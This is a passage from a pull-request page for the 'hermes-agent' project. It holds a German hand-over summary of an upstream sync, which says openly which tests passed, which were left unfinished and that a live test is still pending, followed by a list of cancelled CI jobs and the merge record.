Wire-Shape-Tests als unerwarteten System-Turn sehen. **Keine Regression dieses Syncs.** - Agent-Seite: die Upstream-Tests, die die vier gepatchten Agent-Dateien berühren (stall guards/judge, history hygiene, turn finalizer, reply-line): 128 passed. **Nicht geprüft:** - **Live-Test** (echter Job durch den laufenden Mac-Gateway) — steht noch aus; nach Merge gilt wie immer: erst live, dann Produktion ziehen. - Linux-Container (`iris-hermes`/`iris-hermes-scheduled`) noch nicht nachgezogen. - Komplette `tests/agent`-Suite: lief nicht zu Ende (ein einzeln hängender Upstream-Test, Logging-Watchdown-Teardown; dieselbe Form schon vor dem Merge) — bewusst abgebrochen und der betroffene Kernbereich gezielt gefahren. - Die 5 Stall-Judge-Tests: nicht behoben, nur eingeordnet; offene Frage, ob der Judge Stub-Endpoints / Läufe ohne Tools überspringen soll. **Grenzen / offen:** - Upstream wächst weiter; `.fork-upstream-base` steht auf `79658be93ba3` (Stand beim Einreichen). - Mergen mit **„Merge“** (Merge-Commit), nicht „Rebase“ — `ship` ist hier der falsche Weg.
docs(session-kontext): Ubergabestand nach drittem Re-Sync — PR #11, Live-Test offen
Some checks failed
CI / No production imports of the tools.lazy_deps stub (push) Has been cancelled
CI / package-lock.json diff (push) Has been cancelled
CI / Prompt surface diff (push) Has been cancelled
CI / Lint Docker scripts (push) Has been cancelled
CI / Supply-chain scan (push) Has been cancelled
CI / All required checks pass (v2) (push) Has been cancelled
CI / CI timing report (push) Has been cancelled
CI / JS & TS checks-1 (push) Has been cancelled
CI / cargo test (bootstrap installer) (push) Has been cancelled
CI / Catalog tests-1 (push) Has been cancelled
CI / SSH + Docker backends (real sshd, real daemon) (push) Has been cancelled
CI / install.sh protocol + small fresh-install E2E (push) Has been cancelled
CI / install.ps1 protocol surface (push) Has been cancelled
CI / Playwright E2E (Linux) (push) Has been cancelled
CI / Desktop core E2E (Linux) (push) Has been cancelled
CI / Desktop install/update E2E (Linux, app-update) (push) Has been cancelled
CI / Desktop install/update E2E (Linux, build-fail) (push) Has been cancelled
CI / Desktop install/update E2E (Linux, first-run) (push) Has been cancelled
CI / Desktop install/update E2E (Linux, update-concurrency) (push) Has been cancelled
CI / docs-site-checks (push) Has been cancelled
CI / Regenerate icons + diff against committed (push) Has been cancelled
CI / check-case-collisions (push) Has been cancelled
CI / Reject large binaries (push) Has been cancelled
CI / No production imports of the tools.lazy_deps stub-1 (push) Has been cancelled
CI / package-lock.json semantic diff (push) Has been cancelled
CI / Prompt surface summary (push) Has been cancelled
CI / Lint Dockerfile (hadolint) (push) Has been cancelled
auto-fix lint issues & formatting / Apply patch (push) Has been cancelled
Nix flake check / nix flake check (push) Has been cancelled
Termux verification / Verify bionic runtime tools (push) Has been cancelled
d80b3536d4
Co-Authored-By: Claude Code <noreply@anthropic.com>
alf merged commit d80b3536d4 into main 2026-11-06 00:23:02 +00:00
alf deleted branch chore/sync-upstream-20261105 2026-11-06 00:23:07 +00:00
Sign in to join this conversation.
No reviewers
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
iris/hermes-agent!11
No description provided.